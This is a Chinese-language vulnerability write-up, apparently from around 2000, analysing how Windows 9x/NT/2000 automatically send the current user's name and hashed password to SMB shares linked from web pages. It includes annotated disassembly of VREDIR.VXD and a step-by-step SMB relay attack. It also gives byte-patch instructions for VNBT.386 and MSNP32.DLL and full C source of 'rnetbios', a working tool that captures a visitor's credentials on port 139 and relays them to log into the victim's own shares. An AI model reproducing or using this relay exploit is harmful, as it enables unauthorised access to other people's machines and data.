WINDOWS密码泄露漏洞分析

WINDOWS密码泄露漏洞分析

作者：袁哥 < mailto: yuange@https://www.wendangku.net/doc/5b10826849.html, >

漏洞说明：

WINDOWS系统访问共享文件时（file:\\协议，可以在HTM里面夹杂此协议），会自动试着以当前用户的身份连接（发送用户名、加密的密码），如果不能连接才提示用户输入用户名和密码，所以造成密码泄漏。

影响版本：WIN95、WIN98、WINNT、WIN2000。

补救措施：找微软。

下面是WIN98系统的泄露密码相关代码分析。这是文件VREDIR.VXD的一段代码：

15760 sub_0285 proc near
15760 55 push ebp
15761 8B EC mov ebp,esp
15763 83 EC 0C sub esp,0Ch
15766 33 C0 xor eax,eax
15768 53 push ebx
15769 56 push esi
1576A 57 push edi
1576B 8B 7D 08 mov edi,dword ptr [ebp+PARAMETER_1]
1576E 8B 5D 14 mov ebx,dword ptr [ebp+PARAMETER_4]
15771 66| C7 43 01 00FF mov word ptr [ebx+1],0FFh
15777 8B 77 1C mov esi,dword ptr [edi+1Ch]
1577A 8A 47 05 mov al,byte ptr [edi+5]
1577D 8B 55 10 mov edx,dword ptr [ebp+PARAMETER_3]
15780 C6 03 0D mov byte ptr [ebx],0Dh
15783 8B 0C 85 00000AE0 mov ecx,dword ptr data_0114[eax*4] ;
1578A 8B 45 18 mov eax,dword ptr [ebp+PARAMETER_5]
1578D 66| 89 43 05 mov word ptr [ebx+5],ax
15791 89 4D F8 mov dword ptr [ebp+LOCAL_2],ecx
;the login user block 用户信息块
15794 66| 0F B6 4A 18 movzx cx,byte ptr [edx+18h]
15799 66| 89 4B 07 mov word ptr [ebx+7],cx
1579D 8D 42 2C lea eax,dword ptr [edx+2Ch]
157A0 ?0 push eax
157A1 E8 FFFFFADA call sub_0282
157A6 66| 89 43 09 mov word ptr [ebx+9],ax
157AA 83 C4 04 add esp,4
157AD C7 43 13 00000000 mov dword ptr [ebx+13h],0
157B4 8B 55 10 mov edx,dword ptr [ebp+PARAMETER_3]
157B7 C7 43 17 00000000 mov dword ptr [ebx+17h],0
157BE 8B 4A 28 mov ecx,dword ptr [edx+28h]
157C1 89 4B 0B mov dword ptr [ebx+0Bh],ecx
;key
157C4 66| 8B 4A 1A mov cx,word ptr [edx+1Ah]
157C8 66| 8B C1 mov ax,cx
157CB 66| 25 0200 and ax,200h
157CF 66| 3D 0001 cmp ax,1
157D3 B8 00000000 mov eax,0
157D8 83 D0 FF adc eax,0FFFFFFFFh
157DB 66| 83 E1 03 and cx,3
157DF 83 E0 04 and eax,4
157E2 66| 83 F9 01 cmp cx,1
157E6 89 43 17 mov dword ptr [ebx+17h],eax
157E9 1B C9 sbb ecx,ecx
157EB 41 inc ecx
157EC 0B C8 or ecx,eax
157EE 83 7D F8 00 cmp dword ptr [ebp+LOCAL_2],0
157F2 89 4B 17 mov dword ptr [ebx+17h],ecx
157F5 0F 84 00000244 jz loc_1740
157FB 8A 4A 19 mov cl,byte ptr [edx+19h]

; SECURITY MODE 安全模式
；是服务方发过来的数据，所以服务方可以主动按其需要修改

157FE F6 C1 01 test cl,1
15801 0F 84 000001CB jz loc_1739

; USER OR SHARE MODE
；共享控制的跳转
15807 80 7F 05 02 cmp byte ptr [edi+5],2
1580B 75 53 jne short loc_1729
1580D 8B 45 F8 mov eax,dword ptr [ebp+LOCAL_2]
15810 8B 70 28 mov esi,dword ptr [eax+28h]
15813 85 F6 test esi,esi
15815 74 12 jz short loc_1726
15817 8D 7B 1D lea edi,dword ptr [ebx+1Dh]
1581A B9 00000006 mov ecx,6
1581F F3/ A5 rep movsd
15821 66| C7 43 0F 0018 mov word ptr [ebx+0Fh],18h

;PASSWO

RD LONG

15827 EB 06 jmp short loc_1727
15829 loc_1726:
15829 66| C7 43 0F 0000 mov word ptr [ebx+0Fh],0
1582F loc_1727:
1582F 33 C0 xor eax,eax
15831 8B 4D F8 mov ecx,dword ptr [ebp+LOCAL_2]
15834 66| 8B 43 0F mov ax,word ptr [ebx+0Fh]
15838 8B 71 2C mov esi,dword ptr [ecx+2Ch]
1583B 85 F6 test esi,esi
1583D 8D 7C 18 1D lea edi,dword ptr [eax+1Dh][ebx]
15841 74 12 jz short loc_1728
15843 B9 00000006 mov ecx,6
15848 F3/ A5 rep movsd
1584A 66| C7 43 11 0018 mov word ptr [ebx+11h],18h
15850 E9 000000E8 jmp loc_1736
15855 loc_1728:
15855 66| C7 43 11 0000mov word ptr [ebx+11h],0
1585B E9 000000DD jmp loc_1736
15860 loc_1729:
15860 C7 45 FC 00001A78 mov dword ptr [ebp+LOCAL_1],1A78h
15867 F6 46 1C 20 test byte ptr [esi+1Ch],20h
1586B 74 08 jz short loc_1730
1586D 83 C6 35 add esi,35h
15870 89 75 FC mov dword ptr [ebp+LOCAL_1],esi
15873 EB 12 jmp short loc_1731
15875 loc_1730:
15875 8B 55 10 mov edx,dword ptr [ebp+PARAMETER_3]
15878 8B 42 0C mov eax,dword ptr [edx+0Ch]
1587B F6 40 1C 20 test byte ptr [eax+1Ch],20h
1587F 74 06 jz short loc_1731
15881 83 C0 35 add eax,35h
;THE PASSWORD POINTER
15884 89 45 FC mov dword ptr [ebp+LOCAL_1],eax
15887 loc_1731:
15887 8B 45 FC mov eax,dword ptr [ebp+LOCAL_1]
1588A 80 38 00 cmp byte ptr [eax],0;
;THE PASSWORD
1588D 75 09 jne short loc_1732
；比较看有否输入密码，如果没有密码就用用户密码替换
；因为开始还没有出来提示输入密码时就有好几次密码实验，
；所以一定有没有密码的情况，也就泄露了当前用户密码
1588F 8B 45 F8 mov eax,dword ptr [ebp+LOCAL_2]
15892 83 C0 05 add eax,5
15895 89 45 FC mov dword ptr [ebp+LOCAL_1],eax
; 登录WINDOWS用户的密码替换没有密码的指针
；就这产生泄露密码漏洞
15898 loc_1732:
15898 F6 C1 02 test cl,2
;密码加密不？服务端发过来的安全模式
1589B 66| C7 43 0F 0018 mov word ptr [ebx+0Fh],18h

;PASSWORD LONG
158A1 66| C7 43 11 0000 mov word ptr [ebx+11h],0
158A7 74 76 jz short loc_1734
；密码不加密跳转
158A9 F6 C1 0C test cl,0Ch
158AC 74 3C jz short loc_1733
158AE 8B 55 10 mov edx,dword ptr [ebp+PARAMETER_3]
158B1 F6 42 14 02 test byte ptr [edx+14h],2
158B5 75 33 jnz short loc_1733
158B7 8D 73 1D lea esi,dword ptr [ebx+1Dh]
158BA 8B 45 FC mov eax,dword ptr [ebp+LOCAL_1]
158BD 56 push esi
158BE 50 push eax
158BF 8D 42 6C lea eax,dword ptr [edx+6Ch]
158C2 50 push eax
158C3 E8 FFFF15F4 call sub_0068
；LOCK THE PASSWORD
158C8 83 C4 0C add esp,0Ch
158CB 8B 4D 10 mov ecx,dword ptr [ebp+PARAMETER_3]
158CE 81 C1 0000009C add ecx,9Ch
158D4 8B 06 mov eax,[esi]
158D6 89 01 mov [ecx],eax
158D8 8B 56 04 mov edx,dword ptr [esi+4]
158DB 89 51 04 mov dword ptr [ecx+4],edx
158DE 8B 7E 08 mov edi,dword ptr [esi+8]
158E1 89 79 08 mov dword ptr [ecx+8],edi
158E4 8B 46 0C mov eax,dword ptr [esi+0Ch]
158E7 89 41 0C mov dword ptr [ecx+0Ch],eax
158EA loc_1733:
158EA 8D 73 1D lea esi,dword ptr [ebx

+1Dh]
158ED 8B 45 FC mov eax,dword ptr [ebp+LOCAL_1]
158F0 56 push esi
158F1 50 push eax
158F2 8B 45 10 mov eax,dword ptr [ebp+PARAMETER_3]
158F5 83 C0 6C add eax,6Ch
158F8 50 push eax
158F9 E8 FFFF15B8 call sub_0067
158FE 83 C4 0C add esp,0Ch
15901 8B 55 10 mov edx,dword ptr [ebp+PARAMETER_3]
15904 F6 42 19 0C test byte ptr [edx+19h],0Ch
15908 74 33 jz short loc_1736
1590A F6 42 14 02 test byte ptr [edx+14h],2
1590E 75 2D jnz short loc_1736
15910 8D BA 00000084 lea edi,dword ptr data_0010[edx]
15916 B9 00000006 mov ecx,6
1591B F3/ A5 rep movsd
1591D EB 1E jmp short loc_1736
1591F loc_1734:
；不加密密码跳转到这
1591F 80 3D 000001E0 00 cmp byte ptr data_0041,0 ;
； 准许明文密码不？
；注册表中的一项 ENABLEPLAINTEXTPASSWORD 设置，可惜现在缺省是不准，
；要不就可以得到明文密码了
15926 74 0F je short loc_1735
15928 8D 7B 1D lea edi,dword ptr [ebx+1Dh]
1592B 8B 75 FC mov esi,dword ptr [ebp+LOCAL_1]
1592E B9 00000006 mov ecx,6
15933 F3/ A5 rep movsd
；THE PASSWORD ，NOT LOCK
15935 EB 06 jmp short loc_1736
15937 loc_1735:
15937 66| C7 43 0F 0000 mov word ptr [ebx+0Fh],0
1593D loc_1736:
1593D 8B 75 F8 mov esi,dword ptr [ebp+LOCAL_2]
15940 B9 FFFFFFFF mov ecx,0FFFFFFFFh
15945 83 C6 13 add esi,13h
15948 2B C0 sub eax,eax
1594A 8B FE mov edi,esi
1594C F2/ AE repne scasb
1594E F7 D1 not ecx
15950 8B C1 mov eax,ecx
15952 33 D2 xor edx,edx
15954 66| 8B 53 11 mov dx,word ptr [ebx+11h]
15958 33 C9 xor ecx,ecx
1595A 66| 8B 4B 0F mov cx,word ptr [ebx+0Fh]
1595E 03 CA add ecx,edx
15960 8B 55 10 mov edx,dword ptr [ebp+PARAMETER_3]
15963 8D 7C 19 1D lea edi,dword ptr [ecx+1Dh][ebx]
15967 66| 8B 4A 1A mov cx,word ptr [edx+1Ah]
1596B 89 7D FC mov dword ptr [ebp+LOCAL_1],edi
1596E F6 C5 02 test ch,2
15971 74 2F jz short loc_1737
15973 F6 C1 80 test cl,80h
15976 74 2A jz short loc_1737
15978 83 3D 0000190C 00 cmp dword ptr data_0161,0
1597F 74 21 je short loc_1737
15981 8B CF mov ecx,edi
15983 6A 01 push dword ptr 1
15985 2B 4D 0C sub ecx,dword ptr [ebp+PARAMETER_2]
15988 50 push eax
15989 83 E1 01 and ecx,1
1598C 56 push esi
1598D 66| 01 4B 1B add word ptr [ebx+1Bh],cx
15991 01 4D FC add dword ptr [ebp+LOCAL_1],ecx
15994 8B 4D FC mov ecx,dword ptr [ebp+LOCAL_1]
15997 51 push ecx
15998 E8 FFFF1679 call sub_0097
1599D 83 C4 10 add esp,10h
159A0 EB 11 jmp short loc_1738
159A2 loc_1737:
159A2 8B 7D FC mov edi,dword ptr [ebp+LOCAL_1]
159A5 8B C8 mov ecx,eax
159A7 C1 E9 02 shr ecx,2
159AA F3/ A5 rep movsd
159AC 8B C8 mov ecx,eax
159AE 83 E1 03 and ecx,3
159B1 F3/ A4 rep movsb
159B3 loc_1738:
159B3 66| 8B 4B 0F mov cx,word ptr [ebx+0Fh]
159B7 8B 55 FC mov edx,dword ptr [ebp+LOCAL_1]
159BA 66| 03 4B 11 add cx,word ptr [ebx+11h]
159BE 03 D0 add edx,eax
159C0 66| 03 C8 add cx,ax
159C3 66| 89 4B 1B mov word ptr [ebx+1Bh],cx
159C7 8B 4D 0C mov ecx,dword ptr [ebp+PARAMETER_2]
159CA 89 51 3A mov dword ptr [ecx+3Ah],edx
159CD E9

0000008A jmp loc_1741
159D2 loc_1739:
159D2 C6 43 1D 00 mov byte ptr [ebx+1Dh],0
159D6 8B 75 F8 mov esi,dword ptr [ebp+LOCAL_2]
159D9 B9 FFFFFFFF mov ecx,0FFFFFFFFh
159DE C6 43 1E 00 mov byte ptr [ebx+1Eh],0
159E2 66| C7 43 11 0001 mov word ptr [ebx+11h],1
159E8 66| C7 43 0F 0001 mov word ptr [ebx+0Fh],1
159EE 83 C6 13 add esi,13h
159F1 2B C0 sub eax,eax
159F3 8B FE mov edi,esi
159F5 F2/ AE repne scasb
159F7 F7 D1 not ecx
159F9 8B D1 mov edx,ecx
159FB 33 C9 xor ecx,ecx
159FD 66| 8B 4B 11 mov cx,word ptr [ebx+11h]
15A01 8D 42 02 lea eax,dword ptr [edx+2]
15A04 66| 89 43 1B mov word ptr [ebx+1Bh],ax
15A08 33 C0 xor eax,eax
15A0A 66| 8B 43 0F mov ax,word ptr [ebx+0Fh]
15A0E 03 C1 add eax,ecx
15A10 8B CA mov ecx,edx
15A12 C1 E9 02 shr ecx,2
15A15 8D 7C 18 1D lea edi,dword ptr [eax+1Dh][ebx]
15A19 F3/ A5 rep movsd
; THE USER NAME
15A1B 8B CA mov ecx,edx
15A1D 83 E1 03 and ecx,3
15A20 F3/ A4 rep movsb
15A22 33 F6 xor esi,esi
15A24 33 C0 xor eax,eax
15A26 66| 8B 73 0F mov si,word ptr [ebx+0Fh]
15A2A 8B 4D 0C mov ecx,dword ptr [ebp+PARAMETER_2]
15A2D 66| 8B 43 11 mov ax,word ptr [ebx+11h]
15A31 03 F0 add esi,eax
15A33 03 F2 add esi,edx
15A35 03 F3 add esi,ebx
15A37 83 C6 1D add esi,1Dh
15A3A 89 71 3A mov dword ptr [ecx+3Ah],esi
15A3D EB 1D jmp short loc_1741
15A3F loc_1740:
15A3F 33 C0 xor eax,eax
15A41 8D 53 1F lea edx,dword ptr [ebx+1Fh]
15A44 66| 89 43 0F mov word ptr [ebx+0Fh],ax
15A48 66| 89 43 11 mov word ptr [ebx+11h],ax
15A4C 66| 89 43 1D mov word ptr [ebx+1Dh],ax
15A50 8B 45 0C mov eax,dword ptr [ebp+PARAMETER_2]
15A53 66| C7 43 1B 0002 mov word ptr [ebx+1Bh],2
15A59 89 50 3A mov dword ptr [eax+3Ah],edx
15A5C loc_1741:
15A5C 8B 55 10 mov edx,dword ptr [ebp+PARAMETER_3]
15A5F 66| 8B 42 1A mov ax,word ptr [edx+1Ah]
15A63 F6 C4 02 test ah,2
15A66 0F 84 000000C9 jz loc_1744
15A6C A8 80 test al,80h
15A6E 0F 84 000000C1 jz loc_1744
15A74 83 3D 0000190C 00 cmp dword ptr data_0161,0
15A7B 0F 84 000000B4 je loc_1744
15A81 8B 4D 0C mov ecx,dword ptr [ebp+PARAMETER_2]
15A84 83 7D F8 00 cmp dword ptr [ebp+LOCAL_2],0
15A88 8B 71 3A mov esi,dword ptr [ecx+3Ah]
15A8B 89 75 FC mov dword ptr [ebp+LOCAL_1],esi
15A8E 74 1E jz short loc_1742
15A90 8B 55 F8 mov edx,dword ptr [ebp+LOCAL_2]
15A93 83 C2 30 add edx,30h
15A96 80 3A 00 cmp byte ptr [edx],0
15A99 74 13 je short loc_1742
15A9B 8B FA mov edi,edx
15A9D B9 FFFFFFFF mov ecx,0FFFFFFFFh
15AA2 2B C0 sub eax,eax
15AA4 6A 01 push dword ptr 1
15AA6 F2/ AE repne scasb
15AA8 F7 D1 not ecx
15AAA 51 push ecx
15AAB 52 push edx
15AAC EB 18 jmp short loc_1743
15AAE loc_1742:
15AAE BF 000021D2 mov edi,21D2h
15AB3 B9 FFFFFFFF mov ecx,0FFFFFFFFh
15AB8 2B C0 sub eax,eax
15ABA 6A 01 push dword ptr 1
15ABC F2/ AE repne scasb
15ABE F7 D1 not ecx
15AC0 51 pushecx



这得到的密码一般是加密的，但可以离线破解，其实还有一个攻击。让我们先来看看SMB的连接过程。下面是SMB的密码认证方式、WI

NDOWS的139口的访问过程，箭头表示数据方向：

1、客户端<--------------------建立TCP连接----------------->服务端

2、客户端-------客户端类型、支持的服务方式列表等----------->服务端

3、客户端<------服务器支持协议、认证方式、加密用的key等-----服务端
认证方式就是用户级认证还是共享级认证和密码加密不，key是服务器随机生成的8个字节，WIN2000已经支持16个字节的 key。

4、客户端--------------用户名、加密后密码----------------->服务端
WIN9X、WINNT、WIN2000这有个漏洞，不经过提示等就把当前用户名，密码加密后发过去了，导致密码泄漏。这儿加密是DES的变形，lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY，key是作为DES变形的待加密数据。

5、客户端<---------------认证成功否-----------------------服务端
WINDOWS客户端第4步有漏洞，显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定，因为这是服务方提供的，usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆，但已经可以用暴力法破解了，也已经有了这样的程序。其实我们有时并不一定要得到密码明文的，只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用，我们反过去访问看看，telnet、ftp等连接要密码明文我们得到的lockedpass不能提供，那么我们考虑用同样加密算法传密码密文的服务呢？比如就是NETBIOS共享服务。前面是服务端得到东西，那现在就是站在客户端了，再看前面那过程，显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了？其中key2是现在的服务端提供的。看看我们有usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定，大家一看显然只要key=key2那么就需要的我们都有了是不是？所以我们要使得key=key2.
好，让我们再仔细看看连接过程，别人连接两步1、2：
1、客户端<--------------------建立TCP连接----------------->服务端
2、客户端--------客户端类型、支持的服务方式列表等---------->服务端
下面就该：
3、客户端<---------服务器认证方式、加密用的key等-----------服务端
这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11，22，33共3步（为了区分连接回去的步子用重号表示）才能得到key2，显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问，这可能有时间超时等处理，或者等到任意IP连接NETBIOS服务后马上连回去，反正怎么处理方便、满足需要就怎么处理。下面显然就是设置 k

ey=key2返回3，那就等4得到lockedpass了，第5步嘛就你自由处理了，要不返回密码错误，后面就是44、55。。。。总的来就是1，2，11，22，33，3，4，5，44，55。。。。。显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了，能干什么那就看那用户的权限了。

下面是我做的利用这漏洞的程序，因为是为了演示这漏洞，所以程序做得不是很完美。可以在WIN9X里面运行，因为是作为139口的守护进程，所以需要把运行机器本身的139口关掉，可以在VNBT。386文件里面寻找HEX： 68 8B 00 00 00 （NETBIOS开139口的代码，0x8b=139)，改成68 EF 00 00 00,本身的139口就成了239口了。还有WINNT系统的磁盘一般共享为DRIVE$,在共享里面不显示，也可以在客户端修改让其显示，以方便查看。修改方法，文件MSNP32.DLL，找HEX ：8B 74 24 10 6A 24 56 E8 ，改成 8B 74 24 10 6A FF 56 E8就可以。如果版本不一样，可能会HEX不一样，所以如果找不到，可以找短一点的HEX，比如6A 24 ？？E8，"？？"表示任意一字节数据。 因为MSNO32.DLL文件始终是处于打开方式，所以修改可以先复制一份，修改复制的，改好后启动到DOS，覆盖回去。


// rnetbios.c
// useage: rnetbios [ip] [ip]

#include
#include
#include

void printfusage(int argc ,char *argv);
void testconnect();
void get_d_ip(int argc,char *argv);
void setserver();
void openfd3(int argc,char *argv);
void opensockfd4(int argc,char *argv);
void set_servername();
void recvpacket();
void recvfd2packet();
void out();
char *server;
char buff[20480];
char buff0x72[20480];
char buff0x73[20480];
char buff0x82[]={0x82,0,0,0,0,0};
char namereq[]={0x81,0,0,0};
int long72=0;
int long73=0;

struct sockaddr_in s_in,s_in2,s_in3,s_in4;
struct sockaddr addr,addr2;
struct hostent *he;
int usernameaddress1;
int usernameaddress2;
int strflg1,strflg2;
int loginhimself;
int fd,fd2,fd3,fd4;
int i,j,k,l;
SOCKET d_ip;

char servername[]={"*SMBSERVER"};
// WIN9X 不支持，正好可以过滤WIN9X
u_short serverport=139;
u_short name;
char buffgetname[]={0x00,0x72,0x00,0x10,0x00,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x20,0x43,0x4b,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x00,0x00,0x21,0x00,0x01};

char namebuff[]={0x81,0,0,0x44,0x20,0x45,0x4f,0x45,0x42,0x45,0x4a,
0x43,0x48,0x46,0x44,0x43,0x41,0x46,0x48,0x45,0x50,0x46,0x43,0x45,0x4d,
0x45,0x45,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,00,0x20,
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x43,0x41,
0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,
0x43,0x41,0x41,0x41,00};

int main(int argc, char **argv)
{

printfusage(argc,argv[0]);
testconnect();
set_servername();
get_d_ip(arg

c,argv[1]);
setserver();
while(1){
i=sizeof(struct sockaddr);
fd2=-1;
while(fd2<=0){
fd2=accept(fd,&addr,&i);
}
memcpy(&s_in2,&addr,15);
s_in2.sin_family = AF_INET;
s_in2.sin_port = htons(serverport);
if(loginhimself==1) {
s_in4.sin_addr.s_addr=s_in2.sin_addr.s_addr;
}
printf("\n Now %s ",inet_ntoa(s_in2.sin_addr));
printf("begin netbios connect %s",inet_ntoa(s_in4.sin_addr));
if(loginhimself==0) s_in2.sin_addr.s_addr=d_ip;
fd3 = socket(AF_INET, SOCK_STREAM,0);
j=0;
k=0;
l=0;
openfd3(argc,argv[2]);
printf("\n can't connect %s",inet_ntoa(s_in2.sin_addr));
closesocket(fd2);
closesocket(fd3);
}
out();
return(0);
}

void printfusage(argc,argv)
{
printf("\n rnetbios ver 1.0.");
printf("\n copywrite by yuange 2000.4.7.");
printf("\n wellcome to my homepage https://www.wendangku.net/doc/5b10826849.html,.");
printf("\n usage: %s [ip] [ip]",argv);
//argv[0]);
}
void testconnect()
{
WSADATA wsaData;
int result;
result= WSAStartup(MAKEWORD(1, 1), &wsaData);
if (result != 0) {
fprintf(stderr, "Your computer was not connected "
"to the Internet at the time that "
"this program was launched, or you "
"do not have a 32-bit "
"connection to the Internet.");
exit(1);
}
}
void set_servername( )
{
int i,j;
j=0;
for(i=0;i<16;++i){
name=servername[i] ;
if(name==0) j=1;
if(j==1) name=0x20;
namebuff[2*i+5]= ( (name >> 4) & 0x000F ) + 'A';
namebuff[2*i+6]= (name & 0x000F) + 'A';
}
namebuff[37]=0;
}



void opensockfd4(argc,argv)
{
printf("\n please use the next ip login.");
i=sizeof(struct sockaddr);
fd4=accept(fd,&addr2,&i);
memcpy(&s_in3,&addr2,15);
s_in3.sin_family = AF_INET;
s_in3.sin_port = htons(serverport);
if(argc>=3) {
server=argv;
d_ip = inet_addr(server);
}
if(d_ip==-1) d_ip=inet_addr("127.0.0.1");
// 不过好象127。0。0。1 不能用于访问NETBIOS？
printf("\n the next ip %s ", inet_ntoa(s_in3.sin_addr));
if(s_in3.sin_addr.s_addr!=d_ip&&d_ip!=0) closesocket(fd4);
else {
i = 1;
ioctlsocket(fd4, FIONBIO, &i);
while(k==0){
buff[0]=0;
buff[8]=0;
i=recv(fd4,buff,20480,0);
if(i==0) {
closesocket(fd4);
printf("\n fd4 close");
return;
}
if(memcmp(buff,namereq,3)==0) {
send(fd4,buff0x82,6,0);
printf("\n send name 0x82 packet.");
}
if(buff[8]==0x72) {
memcpy(buff0x72+0x1c,buff+0x1c,8);
memcpy(buff,buff0x72,long72);
printf("\n send smb 0x72 packet .");
buff[0x25]=5;
//run in win9x.the win9x netbios client use
//这儿客户端可能要WIN9X，不知道WINT。WIN2000怎么处理。
send(fd4,buff,long72,0);
}
if(buff[8]==0x73||buff[8]==0x75) {
long73=i;
// memcpy(buff+0x1c,buff0x73+0x1c,8);
printf("\n send smb 0x73 packet .");
if(buff[0x33]==0x18) {
memcpy(buff+0x41,buff0x73+0x41,0x18);
// copy password
if(buff[0x35]==0x18) memcpy(buff+0x41+0x18,buff0x73+0x41+0x18,0x18);
// copy the next password
strflg1=buff0x73[0x0f];
strflg1&=0x80;
if(strflg1!=0) strflg1=1;
strflg2=buff[0x0f];
strflg2&=0x80;
if(strflg2!=0) strflg2=1;
//str is unicode ?
usernameaddress1=0x4

1+0x18+buff0x73[0x35]+strflg1;
usernameaddress2=0x41+0x18+buff[0x35]+strflg2;
name=1;
while(name!=0){
name=buff0x73[usernameaddress1];
if(strflg1==0) ++usernameaddress1;
else usernameaddress1+=2;
buff[usernameaddress2]=name;
++usernameaddress2;
if(strflg2!=0) {
++usernameaddress2;
buff[usernameaddress2]=0;
}
}
// copy user name ，不够严谨，不过勉强能用。
printf("\n send the pass 0x%x bytes",long73);

}
else printf("\n can't chang pass");
// buff[0x9]=0;
send(fd3,buff,long73,0);
// while(k==0){ //看怎么处理好？
i=recv(fd3,buff,20480,0);
// if(i>0&&buff[0x9]==0) printf("\n now login ok .");
// if(i>0) {
// k=1;
// send(fd4,buff,i,0);
// printf("\n send fd4 0x73 packet 0x%x bytes",i);
// }
// }
k=1;
// i=-1;

}
}



}
}



void recvpacket()
{
if(j==0) recvfd2packet();
else i=recv(fd4,buff,20480,0);
if(i==0) {
if(j==0) {
printf("\n fd2 close .");
return;
}
else {
printf("\n fd4 close ." );
k=0;
closesocket(fd4);
}
}
}

void recvfd2packet()
{
buff[0x8]=0;
i=recv(fd2,buff,20480,0);
if(buff[0x8]==0x72){
memcpy(buff0x72,buff,i);
memset(buff+0xc,0,4);
//这儿是系统支持什么服务的标记，WIN2000与WINNT系统不一样。
//有一方是WINNT看一般就是0，而两方都是WIN2000后面协议的密码方式就不一样。
//设置成0，欺骗让其以WINNT的方式发送加密的密码，以好截获。但可能WIN2000支持不好。
printf("\n fd2 recv smb 0x72 packet ");
}
if(buff[0x8]==0x73||buff[0x8]==0x75){
k=0;
memcpy(buff0x73,buff,i);
if(buff0x73[0x24]==0x0c) printf("\n this is win2000 system ?");
printf("\n get password from fd2.");
}
}


void get_d_ip(argc,argv)
{
d_ip=-1;
if(argc>=2) {
server=argv;
d_ip = inet_addr(server);
if(d_ip==-1){
he = gethostbyname(server);
if(!he) printf("\n Can't get the ip of %s !\n",server);
else memcpy(&d_ip, he->h_addr, 4);
}
}
if(d_ip==0) d_ip=-1;
if(d_ip==-1){
loginhimself=1;
printf("\n rnetbios the netbios ip.");
}
else {
loginhimself=0;
printf("\n rnetbios to %s",server);
}
s_in4.sin_addr.s_addr=d_ip;

}

void setserver()
{
fd = socket(AF_INET, SOCK_STREAM,0);
s_in.sin_family = AF_INET;
s_in.sin_port = htons(serverport);
s_in.sin_addr.s_addr = 0;
i=sizeof(struct sockaddr);
bind(fd,&s_in,i);
listen(fd,100);
}

void openfd3(argc,argv)
{
if(!connect(fd3, (struct sockaddr *)&s_in2, sizeof(struct sockaddr_in)))
{
i = 1;
ioctlsocket(fd2, FIONBIO, &i);
i = 1;
ioctlsocket(fd3, FIONBIO, &i);

while(1)
{
recvpacket();
// if(i==0){
// printf("\n fd2 or fd4 close.");
// break;
// }
if(i>0) {
if(memcmp(buff,namereq,3)==0) send(fd3,namebuff,0x48,0);
else {
send(fd3,buff,i,0);
printf("\n send fd3 0x%x packet", buff[8]);
}

}
buff[8]=0;
i=recv(fd3,buff,2048,0);
if(i>0) printf("\n recv fd3 0x%x packet 0x%x bytes",buff[0x8],i);
if(i>0&&j==0){
if(buff[8]==0x72) {
memcpy(buff0x72,buff,i);
long72=i;
}
if(buff[8]==0x73||buff[8]==0x75){
if(buff[0x9]=

=0&&buff0x73[0x33]==0x18){
j=1;
closesocket(fd2);
printf("\n now fd2 login ok!");
}
}
}
if(i==0){
printf("\n fd3 colse .");
break;
}
while(j==1&&k==0) opensockfd4(argc,argv);
if(i>0) {
if(j==0) send(fd2,buff,i,0);
else {
printf("\n send fd4 0x%x packet",buff[0x8]);
send(fd4,buff,i,0);
}
}
}
}
}
void out()
{
closesocket(fd);
WSACleanup( );
}